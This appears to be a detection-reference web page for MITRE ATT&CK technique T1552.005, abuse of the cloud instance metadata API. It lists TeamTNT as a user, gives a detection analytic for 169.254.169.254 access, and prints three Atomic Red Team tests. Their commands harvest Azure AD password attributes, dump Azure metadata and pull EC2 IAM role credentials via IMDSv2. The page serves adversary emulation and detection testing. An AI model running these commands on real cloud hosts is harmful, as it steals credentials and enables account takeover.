tfMITRE ATT&CK sub-technique

Cloud Instance Metadata API T1552.005

sub-technique of T1552 Unsecured Credentials

Tactic: Credential Access
Platform: IaaS
Version: 1.4
Created: 11 February 2020
Last modified: 12 May 2026
Contributor: Praetorian

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware66th pct

Tools & malware66th percentile · 66% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules42nd pct

Detection rules42nd percentile · 58% of ATT&CK techniques have more detection rules written.

Cloud Instance Metadata API MITRE reference T1552.005

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamTNTG0139 ↗

Has queried the AWS instance metadata service for credentials.1 2

created 2021-10-012 references

All 1 groups for this technique

Offense vs defense T1552.005

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 0Splunk ESCU (cumulative) · 1

first rule: 2026 Q1

Cloud Instance Metadata API detection strategy DET0001

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Access to Cloud Instance Metadata API (IaaS)

Enterprise

1 platform

AN0001 · IaaS

Detects access attempts to cloud instance metadata endpoints (e.g., 169.254.169.254) from virtual machines or containerized workloads. This includes both direct access and SSRF exploitation patterns.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service MetadataDC0070	AWS:CloudTrail	GetInstanceIdentityDocument
Network Connection CreationDC0082	AWS:VPCFlowLogs	Outbound connection to 169.254.169.254 from EC2 workload
Network Traffic ContentDC0085	ebpf:syscalls	Process within container accesses link-local address 169.254.169.254

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Adjust temporal window for correlation of access attempts and SSRF triggers
UserContext	Tune based on expected roles that access metadata APIs (e.g., root, service accounts)
RequestHeaderMatch	Customize detection for HTTP Host headers indicating SSRF

Tests3ExecutorsPowerShell 2 · sh 1Need elevation1 of 3Have prerequisites2Have cleanup3Platformsazure-ad, iaas:azure, linux, iaas:aws

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Azure - Search Azure AD User Attributes for Passwords azure-ad PowerShell Required 1 Yes

This test uses the MSOnline Powershell module to retrieve all user attributes for a specified account, which can sometimes contain unsecured credentials. Upon successful execution, this test will scan all user attributes for any strings containing "password". Those unsecured credentials will be output to a text file, as well as the account that they are associated with and the user attribute in which they were found. See: https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md

Input arguments

Name	Type	Default	Description
password	string	T1082Az	Azure AD password
username	string	—	Azure AD username

Attack command

import-module msonline
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-MsolService -Credential $Credential
$users = Get-MsolUser -All;
foreach($user in $users)
{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name}; 
foreach($prop in $props)
{if($user.$prop -like "*password*")
{("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) | out-file -filepath $env:temp\T1552.005Test1.txt -append -force}}}
get-content -path $env:temp\T1552.005Test1.txt -erroraction silentlycontinue

Cleanup command

remove-item $env:temp\T1552.005Test1.txt -force -erroraction silentlycontinue

Prerequisite

The MSOnline module must be installed.

Check

if (get-command Get-MsolUser -erroraction silentlycontinue){exit 0} else {exit 1}

Satisfy

install-module MSOnline

GUIDdab301e5-9239-44f4-88fa-53f34156e74d

02 Azure - Dump Azure Instance Metadata from Virtual Machines iaas:azure PowerShell — — Yes

This test invokes a web request to the default Instance Metadata API of 169.254.169.254 in order to dump the data contained within it to a file. See: https://www.sans.org/blog/cloud-instance-metadata-services-imds-/

Input arguments

Name	Type	Default	Description
output_file	string	$env:temp\T1552.005Test2.txt	File to output metadata to

Attack command

Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > #{output_file}

Cleanup command

remove-item #{output_file} -force -erroraction silentlycontinue

GUID580efee1-048e-48b2-89d9-3896917af322

03 AWS - Retrieve EC2 IAM Role Credentials via IMDSv2 linux, iaas:aws sh — 1 Yes

Simulates an adversary on a compromised EC2 instance abusing the Instance Metadata Service Version 2 (IMDSv2) to steal the temporary IAM role credentials assigned to the instance. A session token is first requested with a PUT to /latest/api/token, then supplied in the X-aws-ec2-metadata-token header to read the instance's IAM role name and retrieve that role's AccessKeyId, SecretAccessKey, and Token from /latest/meta-data/iam/security-credentials/. The harvested credentials are written to a file. On a host that is not an EC2 instance the requests to the link-local 169.254.169.254 address time out and no credentials are returned. See: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html

Input arguments

Name	Type	Default	Description
token_ttl	integer	21600	TTL in seconds requested for the IMDSv2 session token
output_file	path	/tmp/T1552.005_aws_imds_creds.json	File the harvested IAM role credentials are written to
metadata_endpoint	string	http://169.254.169.254	Base URL of the EC2 Instance Metadata Service

Attack command

token=$(curl -s --connect-timeout 2 -m 5 -X PUT "#{metadata_endpoint}/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: #{token_ttl}")
role=$(curl -s --connect-timeout 2 -m 5 -H "X-aws-ec2-metadata-token: $token" "#{metadata_endpoint}/latest/meta-data/iam/security-credentials/")
curl -s --connect-timeout 2 -m 5 -H "X-aws-ec2-metadata-token: $token" "#{metadata_endpoint}/latest/meta-data/iam/security-credentials/$role" -o "#{output_file}"
if [ -s "#{output_file}" ]; then cat "#{output_file}"; else echo "No IAM credentials returned (host is not an EC2 instance with an attached role)"; fi

Cleanup command

rm -f "#{output_file}"

Prerequisite

curl must be installed.

Check

if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi

Satisfy

if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then apt update && apt install -y curl; fi
if grep -iq "rhel\|fedora\|centos\|rocky\|alma" /usr/lib/os-release; then yum install -y curl; fi

GUID4c4e2add-4ba2-49c2-9f98-9a90109837eb

Tests from Atomic Red Team (MIT licence) · technique definition

Cloud Instance Metadata API detections T1552.005

1 rule is mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

42nd pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs